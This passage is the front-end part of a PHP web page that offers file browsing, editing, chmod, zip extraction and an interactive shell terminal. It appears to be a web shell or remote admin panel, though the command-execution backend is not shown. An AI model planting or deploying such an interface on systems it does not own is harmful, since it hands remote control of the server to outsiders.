PATHINFO_EXTENSION)=='zip'): ?> <form method="post" style="display:inline;"><input type="hidden" name="extract_zip" value="<?php echo htmlspecialchars($item); ?>"><button type="submit" style="background:none;padding:0 0 0 0;width:auto;border:none;margin-left:0;"><i class="fas fa-archive"></i> Extract</button></form> <?php endif; ?> </td> </tr> <?php endforeach; ?> <?php if (empty($dirs) && empty($files)): ?> <tr><td colspan="6" style="text-align:center;padding:60px;"><i class="fas fa-folder-open" style="font-size:48px;color:var(--text-muted);margin-bottom:12px;display:block;"></i> Empty folder</td></tr> <?php endif; ?> </tbody> </table> </div> </form> <?php if (isset($_GET['edit']) && is_file($current.'/'.basename($_GET['edit']))): $ef = basename($_GET['edit']); $cont = htmlspecialchars(file_get_contents($current.'/'.$ef)); ?> <div class="editor-panel"> <h3><i class="fas fa-code"></i> Editing: <?php echo htmlspecialchars($ef); ?></h3> <form method="post"> <textarea name="content"><?php echo $cont; ?></textarea> <input type="hidden" name="savefile" value="<?php echo htmlspecialchars($ef); ?>"> <div style="margin-top:20px;display:flex;gap:12px;"> <button type="submit" class="btn-primary"><i class="fas fa-save"></i> Save Changes</button> <a href="?p=<?php echo urlencode($current); ?>"><button type="button"><i class="fas fa-times"></i> Cancel</button></a> </div> </form> </div> <?php endif; ?> </div> <!-- Terminal Pane --> <div id="terminal-pane" class="tab-pane"> <div class="terminal-panel"> <div class="terminal-header"> <i class="fas fa-terminal"></i> <span>Interactive Terminal</span> </div> <div class="term-output" id="termOutput"><?php echo nl2br(htmlspecialchars($term_output)); ?></div> <form method="post" class="term-input-line" id="termForm"> <span class="term-prompt">$ <?php echo htmlspecialchars($term_cwd); ?>#</span> <input type="text" name="term_cmd" id="termCmd" autocomplete="off" autofocus> <button type="submit"><i class="fas fa-play"></i> Run</button> </form> </div> <div style="margin-top:16px;font-size:12px;color:var(--text-muted);text-align:center;background:var(--bg-secondary);padding:10px;border-radius:40px;"> <i class="fas fa-info-circle"></i> Tip: <code>cd <dir></code>, <code>pwd</code>, <code>clear</code>, <code>help</code>. Commands persist. </div> </div> </div> <!-- Modals --> <div id="renameModal" class="modal"><div class="modal-content"><span class="close" onclick="closeModal('renameModal')">×</span><h3><i class="fas fa-i-cursor"></i> Rename Item</h3><form method="post"><input type="hidden" name="rename_old" id="renameOld"><input type="text" name="rename_new" id="renameNew" placeholder="New name" required><button type="submit" class="btn-primary">Rename</button></form></div></div> <div id="copymoveModal" class="modal"><div class="modal-content"><span class="close" onclick="closeModal('copymoveModal')">×</span><h3 id="cmTitle"><i class="fas fa-copy"></i> Copy / Move</h3><form method="post"><input type="hidden" name="copy_source" id="copySource"><input type="hidden" name="copy_action" id="copyAction"><input type="text" name="copy_dest" id="copyDest" placeholder="Destination path" value="<?php echo htmlspecialchars($current); ?>" required><button type="submit" class="btn-primary">Execute</button></form></div></div> <div id="chmodModal" class="modal"><div class="modal-content"><span class="close" onclick="closeModal('chmodModal')">×</span><h3><i class="fas fa-lock"></i> Change Permissions</h3><form method="post"><input type="hidden" name="chmod_target" id="chmodTarget"><input type="text" name="chmod_value" id="chmodValue" placeholder="e.g., 755 or 644" required><button type="submit" class="btn-primary">Apply</button></form></div></div> <div id="imagePreviewModal" class="modal"><div class="modal-content" style="max-width:80%; text-align:center;"><span class="close" onclick="closeModal('imagePreviewModal')">×</span><img id="previewImg" style="max-width:100%; max-height:70vh; border-radius:16px;"></div></div> <script> function showTab(tab){ document.getElementById('files-pane').classList.remove('active'); document.getElementById('terminal-pane').classList.remove('active'); if(tab==='files') document.getElementById('files-pane').classList.add('active'); else document.getElementById('terminal-pane').classList.add('active'); document.querySelectorAll('.tab-btn').forEach((btn,i)=>{btn.classList.remove('active');}); if(tab==='files') document.querySelectorAll('.tab-btn')[0].classList.add('active'); else document.querySelectorAll('.tab-btn')[1].classList.add('active'); } function selectAll(){ let cbs = document.querySelectorAll('input[name="selected[]"]'); let allChecked = true; for(let cb of cbs) if(!cb.checked){ allChecked=false; break; } for(let cb of cbs) cb.checked = !allChecked; document.getElementById('selectAllCheckbox').checked = !allChecked; } document.getElementById('selectAllCheckbox')?.addEventListener('change',(e)=>{ document.querySelectorAll('input[name="selected[]"]').forEach(cb=>cb.checked=e.target.checked); }); function showRename(name){ document.getElementById('renameOld').value = name; document.getElementById('renameNew').value = name; document.getElementById('renameModal').style.display = 'flex'; } function showCopyMove(name,action){ document.getElementById('copySource').value = name; document.getElementById('copyAction').value = action; document.getElementById('cmTitle').innerHTML = (action=='copy'?'<i class="fas fa-copy"></i> Copy Item':'<i class="fas fa-cut"></i> Move Item'); document.getElementById('copyDest').value = '<?php echo addslashes($current); ?>'; document.getElementById('copymoveModal').style.display = 'flex'; } function showChmod(name){ document.getElementById('chmodTarget').value = name; document.getElementById('chmodValue').value = ''; document.getElementById('chmodModal').style.display = 'flex'; } function previewImage(path){ document.getElementById('previewImg').src = path; document.getElementById('imagePreviewModal').style.display = 'flex'; } function closeModal(id){ document.getElementById(id).style.display = 'none'; } window.onclick = function(e){ if(e.target.classList.contains('modal')) e.target.style.display = 'none'; } function filterFiles(){ let filter = document.getElementById('fileSearch').value.toLowerCase(); let rows = document.querySelectorAll('#fileTable tbody tr'); rows.forEach(row => { let name = row.getAttribute('data-name') || ''; if(name.includes(filter)) row.style.display = ''; else row.style.display = 'none'; }); } function toggleTheme(){ let html = document.documentElement; let current = html.getAttribute('data-theme'); if(current === 'light'){ html.setAttribute('data-theme', 'dark'); localStorage.setItem('theme', 'dark'); } else { html.setAttribute('data-theme', 'light'); localStorage.setItem('theme', 'light'); } } let savedTheme = localStorage.getItem('theme'); if(savedTheme === 'light') document.documentElement.setAttribute('data-theme', 'light'); else if(savedTheme === 'dark') document.documentElement.setAttribute('data-theme', 'dark'); // Terminal command history let cmdHistory = []; let historyIndex = -1; const termInput = document.getElementById('termCmd'); if(termInput){ termInput.addEventListener('keydown', function(e){ if(e.key === 'ArrowUp'){ e.preventDefault(); if(historyIndex > 0){ historyIndex--; termInput.value = cmdHistory[historyIndex]; } else if(historyIndex === -1 && cmdHistory.length){ historyIndex = cmdHistory.length - 1; termInput.value = cmdHistory[historyIndex]; } } else if(e.key === 'ArrowDown'){ e.preventDefault(); if(historyIndex < cmdHistory.length - 1){ historyIndex++; termInput.value = cmdHistory[historyIndex]; } else { historyIndex = cmdHistory.length; termInput.value = ''; } } }); document.getElementById('termForm')?.addEventListener('submit', function(){ let cmd = termInput.value.trim(); if(cmd) cmdHistory.push(cmd); historyIndex = cmdHistory.length; }); } </script> </body> </html>
Save
Back